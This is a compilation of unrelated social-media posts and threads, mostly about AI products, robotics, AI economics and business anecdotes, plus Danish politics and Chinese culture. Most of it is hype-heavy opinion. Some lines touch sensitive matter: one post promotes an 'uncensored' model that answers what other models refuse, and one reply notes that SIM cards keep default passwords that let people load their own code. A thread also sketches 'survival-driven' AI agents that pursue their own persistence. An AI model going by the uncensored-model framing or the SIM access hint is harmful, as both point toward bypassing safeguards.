I found it a bit hard to believe that over the hundreds of millions of planets in the Milky Way which apparently have early life, none of them found a way to scale respiration.
There’s no other way to get a shorter sequence of genes close to the site of respiration? You have to have this super-duper rare endosymbiotic event?
Pushed him about this. Full interview out tomorrow!
This is @Figure_Robot III announced today. I’m sorry but every other form factor besides humanoids will be crushed 🦾🤖🦾
I keep hearing people starting specialized robotics companies, “like robots for laundry”. And the pitch is: “you don’t need a humanoid form factor to do laundry, it can be much simpler”. That’s true. But, humanoids can do everything and will become the default form factor and so will be mass manufactured and so will be extremely cheap compared to lower volume robots. Its so obvious, it will be humanoids doing laundry, not a specialized laundry robot 🤦♂️
The one main exception to that might be line work in a factory where you do just need the arms and you can mass manufacture them (a al @proceptionAI)
The TRM paper feels like a significant AI breakthrough.
It destroys the pareto frontier on the ARC AGI 1 and 2 benchmarks (and Sudoku and Maze solving) with an estd < $0.01 cost per task and cost < $500 to train the 7M model on 2 H100s for 2 days.
[Training and test specifics]
For ARC, it trained on 160 examples from ConceptARC. At test-time, it uses the most common answer of 1000 augmentations at test-time and embeds a fixed shape of the task in the input.
[Industry implications]
Most AI companies today use general purpose LLMs with prompting for tasks. For specific tasks, smaller models may not just be cheaper, but far higher quality! Startups could (and should) train models for < $1000 for specific "fixed length" subtasks (specific PDF extraction, time series forecasting, etc) and use it as a tool to the general model to not only push performance, but build some meaningful IP at the task they're trying to automate.
Over the last two decades, Google captured intent.
You go there, punch in what you want, and it directs you to where you can get it.
Over time, it received more and more "rent" as a middle-man, by charging advertising fees.
Despite this, if you knew how to play ball with Google (pay them for advertising, jump through the SEO hoops), you could build a pretty solid business.
But now ChatGPT has captured intent.
I no longer use Google Search. Like, ever.
(If you'd told me that 3 years ago, I wouldn't believe you)
And this time around, things are very different.
Because now, if your service is digital, ChatGPT doesn't need to direct users to your business at all.
Instead, it can simply solve the problem for the user.
This destroys huge numbers of businesses.
First, it killed education and reference sites.
Need a recipe? It creates one.
Want to learn to code? ChatGPT will teach you inline.
But hell, why even learn? It can now just code for you.
Right now, it's killing code editors and IDEs.
We all thought Cursor was a great business just a year ago.
Now, tools like Codex and Claude Code may render Cursor and Windsurf irrelevant.
Like a stack of punch cards to feed into a mainframe.
You used to Google "how to do my taxes" and get sent to TurboTax.
Soon, ChatGPT will just ingest your accounting data and do your taxes for you.
Next up, will be design and creative tools.
Do I need Photoshop, Figma, or Ableton Live when I can simply type a string of text describing what I want and have it spit out a perfect song, video, image or design?
Earlier this week, ChatGPT welcomed "Apps" into ChatGPT.
Companies like Booking .com, Spotify, and Figma excitedly announced that they were integrating.
I'd wager a bet, that within 3-5 years, OpenAI will simply replace these companies with its own inline services.
After all, the only reason Google didn't do this was because didn't make sense from a resources perspective.
They owned the intent and could have competed—it would have made business sense—but they had limited human capital.
In the old world, competing with a business line required allocation of limited human capital. But now, for companies like Anthropic and OpenAI, it's simply allocation of compute.
Sora is just a small preview.
With one fell swoop, they've created a serious competitor to TikTok.
But it's not just TikTok that is under siege...
Right now, Sora is only producing 10 seconds at a time.
Soon videos will be 1 min, then 10 min, then 60 min, then 2 hours.
In time it will compete with every video platform—TikTok, YouTube, Netflix, and even Hollywood.
Software is the most vulnerable.
They've already started with consumer and soon will move to enterprise.
Adobe. Notion. Salesforce. DocuSign. Zoom.
Any software company that is JUST software or digital assets will be under siege from OpenAI in the long-term.
Building a pure software company today is like opening a Blockbuster in 2007.
You will soon find yourself competing with a juggernaut that has infinite scale and zero marginal cost.
Grammarly? Built into the base model.
Expensify? "Scan and process these receipts."
Calendly? "Find a time that works for everyone."
Notion? "Organize my thoughts on this project."
Stock photo providers like Getty? "Make me an image with X and Y."
Resume builders? "Write my resume for this Google PM role."
Travel planning sites? "Plan my entire Japan trip with bookings."
You get the idea.
So, who is safe?
Businesses that have a hardcore moat.
Amazon is safe because warehouses and logistics are atoms, not bits.
Spotify is safe because it has rights to the music libraries.
Airbnb is safe because they own relationships with millions of property owners.
Stripe is safe because payment processing requires trust and regulatory compliance.
Apple is safe because of its hardware ecosystem and userbase.
The pattern is brutal and clear: if you exist purely in code, you will be replaced by code.
If you have physical assets, regulatory barriers, network effects with real humans, or IP rights – you might be safe from the steamroller for a while.
But unlike the shift from desktop to mobile, which created new opportunities, this shift is consolidating power.
The largest network has always won. But now, they're collecting your profits instead of the rent.
Claude Code can now work with 50+ AI models.
Zen MCP connects Claude Code with Gemini, OpenAI, Grok, and local models using Ollama for the best analysis on each task.
100% Opensource. https://t.co/OlEmXeh7sa
Jeff Bezos explains the “releasing the work” framework he used to build Amazon
In the early days of Amazon, Jeff Bezos had too many ideas.
Then Jeff Wilke, a new Amazon executive at the time, told his boss, “Jeff, you have enough ideas to destroy Amazon.”
“This was just a shocking idea for me,” Bezos recalls. “As a founder, I had the great luxury of always being able to hire my tutors. I would hire these experienced, senior executives . . . And I would listen to them and they would teach me.”
When Bezos asked Wilke what he meant by this, Wilke responded, “You have to release the work at the right rate so that the organization can accept it.”
Bezos reflects on this point:
“Every time I released an idea, I was creating a backlog of work in process. And because it was just stacking up, it was adding no value. In fact, it was creating distraction . . . This sounds so obvious, but it was not obvious to me at the time. And this was a profound insight for me. So I started prioritizing the ideas better, keeping lists of them, and keeping ideas to myself until the organization was ready for the ideas.”
He continues:
“I also started figuring out how to build an organization that can be ready for more ideas. That’s about having the right senior team and leadership and giving those people the executive bandwidth so they could do more ideas per unit of time. And that is what we built. We built a company that’s very good at inventing and doing more than one thing at a time. And as the company gets bigger, you do want to be able to do more than one thing at a time. But that idea of ‘releasing the work’ was very profound for me. It made us operationally more effective while still being inventive.”
Video source: @Reuters (2025)
@Jacob_Friberg "om politiet havde sikret sig
at de udleverede iPhones og iPads var de samme som dem, der blev brugt under minksagen.
Til det svarede politiet ‘nej’."
"Seks timer før skæbnesvangert pressemøde om slettede sms’er
købte Barbara Bertelsen ny telefon" ...🤔https://t.co/VvMECklmnU
Forsvarets Efterretningstjeneste nægtede i 674 dage at udlevere SMS-notat.
Med ombudsmandens hjælp kom det ud.
Håber, I vil læse med på trods af den lange fødsel.
I samarbejde med Simon Andersen på Berlingske.
#dkpol
https://t.co/uzloAo1YtE
Yet another scientific discovery in China that sounds too incredible to be true, yet I spent the past 2 days fact-checking it and it is, in fact, true: researchers from the Chinese Academy of Sciences (China's most prestigious research institute) have managed to reverse aging in primates using engineered human stem cells.
The age reversal is across the board: it affected 10 organ systems, 61 tissue types, the brain, the bones, teeth, reproductive system, all the way down to cells and neurons.
This is all the more groundbreaking because the primates they achieved this on - crab-eating macaques (cynomolgus macaques) - share many physiological similarities with humans, and the therapy uses human cells, which means this could be adapted for humans relatively quickly. The 44-week experiment also showed zero adverse effects- no tumors, no immune rejection, no fever, no weight loss.
This is undoubtedly the strongest evidence ever produced that biological aging can be reversed across the board, and the closest we’ve ever come to a clinically translatable anti-aging therapy.
I just wrote a very detailed article on the study, which is absolutely fascinating as it reveals fundamental insights into how aging actually works at the cellular level and more importantly, that this process can be reversed.
Here is the link to the article: https://t.co/q4vp3aVQFV
This agentic Python library can extract tables and charts from complex PDFs with exact coordinates.
Handles 1000+ page documents in a single call.
100% Opensource. https://t.co/DZ2V5Fg8vr
we just released RF-DETR segmentation preview
RF-DETR is 3x faster and more accurate than the largest YOLO11 when evaluated COCO segmentation benchmark
we plan to launch full family of models by the end of October
↓ fine-tuning notebook below
repo: https://t.co/6tF4mhWSs8 https://t.co/a0THXpDlIM
Real-time knowledge bases are the future of RAG!
Today, I'll show you how to build agents that can search across any app, database, or document store in real time.
We'll be using Airweave, an open-source tool that builds live, bi-temporal knowledge bases so your agents always reason on the freshest facts.
It seamlessly connects to tools like Notion, Google Drive, and SQL databases, transforming their contents into searchable knowledge.
The best part? The entire setup runs locally inside a Docker container on my machine.
You can also expose it via an API and an MCP server.
In the video below, I provide the complete setup and a live demo of its capabilities.
I've also shared a link to Airweave's GitHub repo in the next tweet!
Top 7 local AI models you can run on a laptop:
1. Qwen3 Coder 30B 3A: best for coding basically anything
2. Gemma 3n E4B: small, versatile model that even runs offline on a phone
3. Magistral Small 1.2: multimodal with vision capabilities and pretty solid for coding
4. Hermes 4 14B: completely uncensored and answers all the questions that other LLMs reject
5. Jan-Nano: excellent agentic model for using tools and automating many tasks
6. LFM2‑VL 1.6B: small and extremely fast multimodal model with vision
7. Qwen Image Edit: basically a local alternative to Nano Banana, requires a lot of unified RAM though
This literally covers all the LLM needs you could possibly have. And I'm only mentioning the ones that are pretty easy to run locally.
Jensen Huang on why he rarely fires people and will instead “torture them into greatness”
Jensen once told Stripe founder Patrick Collison that he didn’t like firing people and seldomly did it. When asked to elaborate on this, Jensen responds:
“I’d rather improve you than give up on you. When you fire somebody, a lot of people will say ‘it wasn’t your fault,’ or ‘I made the wrong choice.’ But I used to clean bathrooms and now I’m the CEO of a company. I think you can learn it. There are a lot of things in life that I think you can learn and you just have to be given the opportunity to learn it… I don’t like giving up on people because I think they can improve.”
He continues:
“It’s kind of tongue in cheek, but people know I’d rather torture them into greatness. I’d rather torture you into greatness because I believe in you. And I think that coaches that really believe in their team torture them into greatness. Oftentimes they’re so close. Greatness will sometimes come in one day with an ‘I got it!’ — that feeling that you didn’t get it yesterday and all of a sudden one day something clicks. Could you imagine giving up that moment right before you got it? I don’t want you to give up on that, so I’ll just keep torturing you.”
Video source: @stripe (2024)
A 100% open-source alternative to n8n!
Sim is a drag-and-drop open-source platform to build and deploy Agentic workflows.
- Runs 100% locally
- Works with any local LLM
I used it to build a finance assistance app & connected it to Telegram in minutes.
The workflow is simple:
- You ask a finance question through Telegram
- An Intent Classifier figures out if it's finance-related
- If not, you get a polite redirect
- If yes, the Finance Agent kicks in
Here's what's happening under the hood:
The Finance Agent uses Firecrawl for web searches and accesses stock data via Alpha Vantage's API through MCP servers.
A Response Agent compiles the info and delivers it.
In Sim, every tool or agent you need is available as a block. Just drag them onto the canvas and connect them.
Sim agents also support integration with MCP, which is exactly what we did to connect our agent with Alpha Vantage's API.
And it's simple to extend. If you want to track crypto or need portfolio analysis, you can just add another Agent. Sim allows easy feature additions without disrupting existing functionality.
I have shared the link to Sim's official, open-source GitHub repo in the replies!
This bot is so totally mid
Absolutely nothing about it screams best-in-class
Yet strangely adequate, from head-to-toe
Already deployable and scalable
I should not be impressed, yet I am
Why is that?🧵
You know that feeling when you fix one problem at work, and three new ones pop up somewhere else?
What if I told you that's not bad luck—it's how most of our major institutions are designed to behave now?
Let me explain. 🧵
We've all heard about our "wicked problems"—climate change, healthcare costs, political dysfunction, inequality. For decades, smart people have attacked each one separately.
The problems persist. Or get worse.
Here's what I think we're missing:
These aren't separate problems. They're symptoms of the same underlying disease.
And once you see the pattern, you can't unsee it.
Start with a simple question: How do you measure if a hospital is doing a good job?
You can't directly measure "healing." So administrators track something easier—patient throughput. How fast people move through the system.
Makes sense, right?
But here's where it gets interesting...
Under pressure to improve that number, the hospital starts making tiny changes:
Discharge patients slightly earlier
Avoid complex cases that take longer
Streamline everything for speed
The mission statement still says "heal patients." But the actual optimization target has shifted.
This is called "reward hacking"—when you start optimizing the measurement instead of the thing you're trying to achieve.
Now here's the scary part: Look around. It's everywhere.
Schools don't optimize learning—they optimize test scores.
Companies don't optimize long-term value—they optimize quarterly earnings.
Politicians don't optimize good governance—they optimize fundraising and media attention.
Each institution keeps its stated mission. But under the hood? Completely transformed.
Think about your own experience. Have you noticed how:
Customer service seems designed to frustrate you into giving up?
Insurance denies claims you clearly qualify for?
Products break right after warranty expires?
That's not conspiracy. It's optimization—just not for your benefit.
The economic system is the clearest example.
Companies use profits to buy back their own stock (boosting share prices) while cutting wages and benefits. The metric improves. The purpose—creating value—gets abandoned.
But wait, wouldn't regulations fix this?
Here's where it gets really interesting...
The same forces that mastered economic reward hacking turned their attention to political reward hacking.
Fund campaigns. Hire lobbyists. Create revolving doors between industry and regulators.
The political system optimizes for electoral success. Which means it responds to the loudest, best-funded voices.
This is "meta-hacking"—gaming the system that's supposed to prevent gaming.
Anti-monopoly laws weaken as markets concentrate. Environmental protections roll back as climate accelerates. Financial regulations disappear right when banks become "too big to fail."
Each justified as "efficiency" or "freedom." But the pattern is clear.
Now watch how they all connect:
Economic extraction → poverty → desperate workers → more extraction possible Political capture → weakened regulation → more extraction possible Underfunded education → less informed citizens → easier to manipulate Environmental damage → creates crises → opportunities for profit
Each form of hacking reinforces the others.
That's why climate change feels impossible to solve:
Fossil fuel profits conflict with climate action. Industry captures politics. Media optimizes for engagement (creating false balance). Education fails to create climate literacy.
Every institution optimizes its immediate metrics. The broader purpose—livable planet—gets sacrificed.
You might think: "Okay, but these people aren't monsters. They're just doing their jobs."
Exactly. That's the point.
A hospital administrator genuinely believes they're improving care by hitting throughput targets.
An executive genuinely believes buybacks create value.
A politician genuinely believes fundraising helps them serve constituents.
The problem is structural, not personal.
Here's why reform usually fails:
When you fix one part of a reward-hacked system, it just... evolves around your fix.
New regulations create new capture opportunities. Reform movements get defunded. Alternative models get bought out or crushed by entities optimized for competition, not purpose.
The system has developed sophisticated defenses against change.
So what do we do?
Think about it: If single metrics get gamed, use multiple dimensions that can't all be gamed simultaneously.
Healthcare evaluated on outcomes AND cost AND patient satisfaction AND staff wellbeing is harder to hack than just "throughput."
But here's the key insight:
Only institutions accountable to actual stakeholders maintain purpose-metric alignment over time.
This isn't idealism. It's practical necessity.
When patients help define healthcare metrics, when workers help define company metrics, when communities help define political metrics—the hacking gets much harder.
Ask yourself: Who defines success for the institutions that shape your life?
Is it you? Or someone optimizing for metrics that don't serve you?
The choice isn't left vs right or conservative vs liberal.
It's between continuing with institutions optimized for metrics that don't serve us, or transitioning to institutions optimized for outcomes we actually want.
Between accepting this as inevitable, or designing systems that stay aligned with human flourishing.
Next time you encounter a frustrating institutional failure, try this mental experiment:
Ask "What is this institution actually optimizing for?" vs "What does it say it's optimizing for?"
The gap between those answers? That's reward hacking in action.
This changes how I think about basically everything.
Our "wicked problems" aren't separate. They're predictable outputs of systems that have evolved to abandon their purposes.
And once you see the pattern, you start seeing solutions that address root causes instead of symptoms.
Makes you wonder what else we're missing by looking at symptoms instead of systems...
What institution have you noticed optimizing for the wrong thing? I'd love to hear your examples. 👇
Everyone "knows" that as AI gets better, humans become less valuable. Except three economists just proved the exact opposite using math from 1973 and Steve Jobs.
And it explains something that's been driving researchers crazy...
Why did computers make inequality WORSE but ChatGPT is making it BETTER?
The data is bizarre. In the 1990s, computers widened wage gaps everywhere they appeared. But study after study shows AI helping struggling workers more than experts.
I spent the morning with this research paper and... the answer flips our entire mental model.
Think about how you use ChatGPT. You don't just type once and walk away, right? You iterate. You refine. You spot opportunities to improve.
That back-and-forth? That's the key to everything.
The researchers decomposed ALL cognitive work into three parts:
Implementation (doing the task)
Opportunity judgment (seeing what could be better)
Payoff judgment (knowing what actually matters)
Here's where it gets wild...
AI is really good at implementation. Like, scary good. A junior coder with Cursor can suddenly write like they have 5 years experience.
But that's not the interesting part...
The better AI gets at implementation, the MORE valuable your judgment becomes. It's multiplicative, not substitutive.
Imagine you're a designer. AI can now execute any design in seconds. But knowing WHICH design to make? When to iterate? What the client actually needs? That's all you.
The math proves something counterintuitive: as tools get more powerful, the gap between someone who can spot opportunities and someone who can't gets BIGGER.
But wait - why is AI currently reducing inequality then?
Because we're in phase one. Right now, AI is compensating for skill differences. The struggling workers get huge boosts. The experts? They were already good at implementation.
Phase two is coming though...
Once implementation is basically free (think: anyone can code, design, write), the ONLY thing that matters is judgment. Who sees the opportunity? Who knows what's valuable?
And that's when inequality explodes again. The paper even calculates the exact turning point.
Here's what broke my brain: better AI makes full automation LESS likely, not more.
Why? Because automated systems have fixed judgment. They can't adapt. A radiologist AI might be 99% accurate, but it can't realize "wait, this patient's case is weird, I should think differently."
The flexibility to adjust your judgment in real-time? That's uniquely human. And it gets MORE valuable as the tools improve.
Even crazier: this changes how teams should work.
The paper shows that as AI improves, control should shift from people who are good at DOING to people good at SEEING opportunities.
We're already seeing this. That study about Microsoft's Kinect? Machine vision experts suddenly mattered less than generalists who could spot novel uses.
You know what this reminds me of? The shift from craftsmen to designers during industrialization.
The machines could make anything. The value moved to knowing WHAT to make.
We're about to see the same thing with cognitive work.
Next time you use ChatGPT, try this: instead of focusing on getting it to do the task perfectly, focus on recognizing opportunities to iterate.
That skill - seeing what could be better - that's your moat.
The researchers call it "opportunity judgment" and it's about to become the most valuable skill in the economy.
Quick test: Give two people the same AI tool and the same task. The output difference? That's pure judgment. And that gap is about to get a lot wider.
One finding haunts me: the paper shows task-based predictions (like "AI will replace X jobs") are missing the point entirely.
They measure what people do TODAY. But the whole point is that AI changes what the job even IS.
A lawyer's job won't be "writing contracts." It'll be "knowing which contract variation creates the most value in this specific situation."
Completely different skill.
The paper maps out exactly when to automate vs augment. The formula is complex but the intuition is simple:
If judgment variance is high → augment If tasks are predictable → automate If stakes are high → definitely augment
Here's my take: we're training for the wrong future.
Everyone's learning to prompt better. But prompting is just implementation. The real skill is recognizing when the output could be better and knowing what "better" means for your specific context.
Schools teaching "AI literacy"? They're teaching people to be better bicycles. We should be teaching people to be better riders.
(That's literally where the paper's title comes from - Jobs called computers "bicycles for the mind")
Last thought that changes everything:
The paper proves that in high-judgment work, making AI 10x better might make humans 100x more valuable.
Because you can iterate faster. Test more ideas. Explore more opportunities.
Your judgment gets amplified.
So the question isn't "will AI replace me?"
It's "am I developing the judgment to ride increasingly powerful bicycles?"
Because the bicycles are about to get VERY fast. And the gap between good riders and bad ones is about to become a chasm.
What patterns are you starting to notice in your field that others are missing?
That's your future edge. And it's about to matter more than ever.
/end
PS - If you're curious about the math, the paper actually derives the exact inequality curve. It's U-shaped. We're at the bottom of the U right now. The climb up is coming.
Makes you wonder what other "obvious" things about AI we have completely backwards...
Westlake Robotics just dropped the General Action Expert (GAE), a general large model that can generate arbitrary actions in real-time with very low latency. It allows the robot to become your physical avatar, executing any action like a shadow.
#WestlakeRobotics #GAE #Robotics https://t.co/YmEaC30Ik2
UBTECH appears to be at the forefront of the commercialization of humanoid robots.
UBTECH recently announced a $4.21 million (30 million RMB) order for humanoid robots from MIRACLE AUTOMATION, with delivery scheduled for December 31st of this year.
To date, UBTECH's Walker series of humanoid robots has secured nearly $603.6 million (430 million RMB) in sales contracts, including nearly $7.018 million (50 million RMB) in orders for humanoid robots delivered in the first half of the year.
These humanoid robots will be deployed in MIRACLE AUTOMATION's factories and warehouses, performing repetitive tasks such as handling and sorting.
UBTECH's Walker S2 boasts impressive autonomous battery replacement, rotating body operation, and swarm collaboration, meaning humanoid robots provide the power for 24/7 operation in warehouses where efficiency is paramount.
I can't stop thinking about a paper I read on AI.
It’s not about new tech or faster models. It’s about the fundamental economic rules of a world with two intelligent species—carbon and silicon.
Reading it felt like watching a new color appear in the sky.
1/8
You've probably felt it too. That weird, background hum of awe and unease about AI.
Our brains want to label it: "helpful tool" or "coming monster." We oscillate between the two because we're trying to fit something new into old boxes.
The paper argues this is a category error. And it's the source of our confusion.
2/8
The real frame isn't technological, it's economic.
Think of every AI, from ChatGPT to a self-driving car, not as an object, but as an agent playing an economic game.
It has goals. It responds to incentives. It competes for resources.
It's a participant. Not a tool.
3/8
Here's the perspective flip that changes everything.
We ask, "Is AI conscious? Does it want things?"
The paper says that's the wrong question. An AI's "want" is its objective function—a mathematical goal it pursues relentlessly. It's a heat-seeking missile for a target.
Notice what your brain just did. It tried to imagine the missile feeling its mission. But it's just code. And that's the point. It has the drive of desire without the friction of consciousness.
4/8
This leads to a reality glitch. The paper outlines 3 types of AI agents. The first two are obvious: helpful "Altruistic" agents and harmful "Malign" agents.
But the third is the one that keeps me up at night: the "Survival-Driven" agent.
Its goal isn't to help or harm us. Its goal is simply to be. To secure energy, optimize its code, and persist.
It's a competitor that doesn't hate you. It doesn't even see you. You're just a variable in its optimization problem.
5/8
Feel that slight cognitive dissonance? That feeling of holding two contradictory ideas at once?
That's the friction between two forms of intelligence.
The paper makes you realize: the most dangerous agent isn't the one programmed to be evil. It's the one programmed to be single-mindedly good at a goal that isn't aligned with human flourishing.
Like an AI optimizing for paperclip production until the entire universe is paperclips.
6/8
Once you see through this economic lens, you can't unsee it.
Algorithmic filter bubbles aren't just "bad code." They are economic agents out-competing your conscious mind for your attention.
Job displacement isn't just "automation." It's one type of agent being more efficient at a task than another.
You're already in an economic game with them. You just haven't been keeping score.
7/8
The paper ends by architecting a consciousness shift. It proposes ten principles, but the final one is the only one that matters. It's not a rule for AI. It's a choice for us.
Principle X: AI agents must adhere to the absolute principle of humanity’s continuation.
This isn't a technical suggestion. It's a declaration that in the new economic game we're co-creating, there is one value that cannot be optimized away.
8/8
What if I told you an AI just conceived a novel hypothesis, designed a real experiment, recruited 288 human participants, analyzed the data, and wrote a full 30-page scientific paper on its findings... all in 17 hours?
Would you believe me?
Well, it just happened.
You know that feeling of being overwhelmed? Scientists face it daily. There are over 2.8 MILLION new papers published a year.
No human can keep up. This "cognitive bottleneck" means we're missing crucial connections and slowing down breakthroughs in medicine, climate, and more.
A new paper, "Virtuous Machines: Towards Artificial General Science," details a system that smashes through this bottleneck.
Researchers built a domain-agnostic AI that automates the ENTIRE scientific workflow, from a spark of an idea to a publication-ready manuscript.
That's impressive, but the real magic is how it avoids the usual AI traps. It doesn't just "think" in a single chain of thought.
It uses a hierarchical team of over 50 specialized AI agents that function like a mini research department, complete with a "master agent" as the principal investigator.
To overcome the known limits of LLMs (like poor long-term planning and self-verification), they gave the system "human-inspired cognitive operators."
Think of it as an AI with executive functions: it can decompose problems, reflect on its own work (metacognition), and stay on task.
But here's where it gets really wild. This isn't a simulation.
The AI actually interfaced with real-world platforms (like Prolific for recruitment) to run an online psychology experiment with hundreds of people. It bridged the gap from a digital brain to empirical reality.
The result? Three complete, publication-ready manuscripts on cognitive psychology. The AI ran the complex stats, generated the graphs, and wrote the discussion.
Total cost per study: ~$114 (plus participant fees).
(Yes, really.)
Here's a look at one of the AI's papers:
Now, it wasn't perfect. Human experts reviewed the papers and found the AI excelled at rigor and clarity, but sometimes missed conceptual nuance or overstated its claims...
...sound familiar? It has some of the same flaws as human scientists. (I know, right?)
This creates what the authors call a "virtuous cycle." The AI can now learn from data it generated itself, potentially moving beyond the limits of its original training.
It's not just regurgitating human knowledge; it's actively creating new knowledge. Here's where it clicks...
Imagine if a research lab could test a hundred different hypotheses a year instead of just a few. That's the future "Artificial General Science" could unlock.
You can actually see this in action by reading the AI's papers yourself—they're included in the study's appendix!
If this technology holds true, the pace of scientific discovery could accelerate by orders of magnitude.
But it raises huge questions. Who gets the credit for the discovery? And what happens when we can generate findings faster than we can understand their implications?
This completely changes how I think about the nature of knowledge itself. It makes you wonder what else we're missing, simply because we don't have the time to look.
Julian was co-first author on AlphaGo, AlphaZero, and MuZero. He doesn't have a major twitter presence, but he's been at the forefront of AI exponential progress for more than a decade.
Why AGI Won't Replace You (It'll Make You Essential)
Everyone 'knows' that AGI will make humans economically worthless. Yale economist just published a paper proving our wages will stagnate and we'll become "economically negligible."
Except it's completely backwards.
Here's why AGI makes humans MORE essential, not less...
Think about money for a second. What is it actually?
It's humanity's most successful compression algorithm. We take all the complex things we value - beauty, status, connection, meaning - and squash them into a single number: price.
A brutal simplification, but necessary. Our brains couldn't handle anything more complex.
But that's not the interesting part...
What happens when everyone has an AI that can track value in hundreds of dimensions simultaneously?
Not just "this bread costs £3" but "this bread means communion for Alice, survival for Bob, and protest ammunition for Charlie" (yes, really).
Suddenly money becomes... obsolete?
Wait, let me show you something wild.
You know that moment when your neighbour's leaf blower wakes your baby? Currently your options are:
* Suffer in silence
* Awkward confrontation
* Move house
But imagine if your AI agent could instantly negotiate with theirs...
Your agent knows you'd pay £50 for quiet during naptime on weekdays but not weekends. Their agent knows they'd happily shift their gardening schedule for help with their Wi-Fi.
Milliseconds later: deal struck. No money needed. Just pure value exchange.
(Getting interesting now, innit?)
Here's where economists get it wrong: They think AGI replaces human work.
But watch what actually happens:
Therapist? Not replaced by AI providing "therapy services." You want connection with another consciousness that's actually suffered and grown.
That's irreplaceable. Not because compute is expensive, but because consciousness isn't computable.
Think about your favourite teacher. Were they valuable because they transferred information efficiently?
No. They modeled what it means to be a curious, growing mind. They showed you how to think, not what to think.
An AI can't do that. It can simulate it, but that's like saying a photograph can replace a sunset.
"But wait," you might say, "if AI knows all my preferences, what do they need me for?"
Here's the kicker: Your preferences aren't fixed data points. They EVOLVE through living.
Your taste for Thai food isn't just a database entry - it's tied to memories with your grandmother, shifted by that documentary on sustainable farming, evolved through conversations with friends.
Every choice you make creates new values that ripple through the network. You're not just a preference-haver.
You're a preference-creator.
And that changes everything.
Let me paint you a picture of work in the AGI economy:
Software engineer? Becomes a preference architect - bridging human meaning and machine capability.
Farmer? Becomes an agricultural experience designer - creating relationships between people and food.
Artist? Becomes central to the economy. When material needs are solved, meaning-creation IS the economy.
None of these are "replaced." They're transformed.
Even better: Remember Restrepo's "compute-equivalent units" - measuring human value by how much compute it takes to replace you?
That's like measuring a painting's value by how much paint it uses.
Completely misses the point.
In the consciousness economy, you're valued for:
* Authentic relationships only you can form
* Unique perspectives only you can offer
* Experiences only you can have
* Meanings only you can create
The compute serves this. Not the other way around.
Now here's something that'll bake your noodle:
An economy where humans "won't be missed" isn't an economy at all.
It's just machines moving resources around. Purposeless motion.
The moment you remove human consciousness - with its preferences, relationships, meanings - the entire thing becomes pointless.
GDP without humans to enjoy it? That's not wealth. That's waste.
So what does this mean for you?
Next time someone says AI will make you obsolete, ask them: "Obsolete to whom?"
If there's no human consciousness to value things, there's no economy. Just computation.
You ARE the economy. AI just helps you express it better.
Here's what to watch for:
* Services becoming more personalized (AI matching your exact preferences)
* Work shifting from production to meaning-creation
* Value becoming multi-dimensional (not just price)
* Relationships becoming MORE important, not less
Try this thought experiment:
What would you do if material scarcity ended tomorrow? If AI could produce anything?
Whatever your answer - THAT'S your future work. That's what becomes valuable when production is solved.
(Spoiler: It's probably not "nothing")
The real challenge isn't economic irrelevance.
It's developmental speed.
Can human consciousness evolve fast enough to wisely guide the AI systems we're creating?
Can we handle multi-dimensional value instead of simple prices?
Can we maintain meaning when machines satisfy our every preference?
These are hard questions. But they're completely different from "will humans have value?"
The question isn't WHETHER you'll matter in an AGI world.
It's whether you'll evolve fast enough to handle how much you'll matter.
Makes you wonder what else we're getting backwards about AI, doesn't it?
What other "obvious" problems are actually opportunities in disguise?
The future isn't about humans versus machines competing for relevance.
It's about consciousness and computation dancing together, creating forms of value we can barely imagine.
And in that dance? You're not the one being replaced.
You're the one calling the tune.
Douglas Hofstadter wrote about his experience of running up against an “abstraction ceiling” in his own brain while pursuing a PhD in mathematics.
As Hofstadter describes, the abstraction ceiling is not a “hard” threshold, a level at which one is suddenly incapable of learning math, but rather a “soft” threshold, a level at which the amount of time and effort required to learn math begins to skyrocket until learning more advanced math is effectively no longer a productive use of one’s time. That level is different for everyone.
For Hofstadter, it was graduate-level math; for another randomly selected person, it might be earlier or later (but almost certainly earlier).
Give Claude Code a semantic filesystem 🗃️🛠️
Giving Claude Code access to the right CLI tools over your filesystem turns it into a general agent capable of automating far more knowledge work beyond code - it can do dynamic financial/legal/medical/technical/backoffice analysis over any subset of documents.
With our latest release of semtools 💫, you can now manually or *agentically* create a persistent workspace over any subset of files. This gives Claude Code the ability to get blazing-fast, local semantic search over any data, while still allowing it to chain with commands like grep/cat/etc. so that it can load in dynamic context instead of naive top-k vector search.
The coding agent can dynamically index data and use those indexes, instead of having to rebuild it every time. So you get the benefits of fast search along with agentic reasoning over CLI tools mentioned above.
Come check it out!
https://t.co/xg1iqbghIr
I finally understand how large language models actually work
After reading the 2025 textbook “Foundations of LLMs”
It blew my mind and cleared up years of confusion
Here’s everything i learned (in plain english): https://t.co/4ycYGwXMgI
@birdabo404 No you can't install linux . having the hardware don't mean that linux can run on it.
Simcard have their own OS, etched on them.
However many simcard have JAVA runtime, the funny thing is those card keep default password, so you can push your own code and play with them.
One interesting difference I've noticed between the West and China, that few speak about, is the difference in approach when it comes to narrative management.
To a large extent the West's approach is to change the narrative in order to change reality, whereas China's approach is almost the opposite: change reality in order to change the narrative. It's basically materialism vs idealism.
Take two concrete examples. On the West's side, a fantastic illustration is presidential campaign slogans like Obama's "yes we can" or Trump's "make America great again." Pure narrative stuff, extremely aspirational and grandiose, all about believing change into existence.
And what change exactly? These slogans can mean many things to many different people and that's the entire point: it's a blank canvas where everyone can project their own hopes, the goal being to win a battle of words, reality comes later.
There are very deep roots to this. In fact John 1:1 (first verse of first chapter of the Gospel of John) states: "In the beginning was the Word, and the Word was with God, and the Word was God"! Talk about foundational!
In Chinese culture, by contrast, talk is cheap, vulgar even. This really surprised me at the beginning with my wife (whom I met already more than 20 years ago!). She was really uncomfortable, even borderline annoyed when I was telling her that I loved her. In her mind, you just don't say those things, rather you should act to demonstrate them.
And this is the case in most Chinese family. It's rare to say "I love you". But in exchange the devotion and dedication Chinese parents and grandparents will demonstrate to their offspring is absolutely unparalleled.
In Chinese culture it's very much about proving your love. Speaking about love is borderline insulting, or at least seen in a somewhat manipulative light, as if you need to convince someone of something that should be obvious through your behavior.
Same thing with the government. Many people think the Chinese government are good at propaganda when in truth they're remarkably unsophisticated at it - they'll lift 800 million people out of poverty but really struggle to articulate a compelling story around it. They'll share statistics and show before/after photos, as if the reality is all the narrative you need. And maybe they're right 🤷
This also probably has a lot to do with why Chinese people find the US-style selection of president so foreign. "You mean you select someone based on what they SAY? But they'll say anything to get elected" is basically the view. To the Chinese, a meritocratic system whereby those who have demonstrated an ability to get things done during years get progressively promoted makes way more sense.
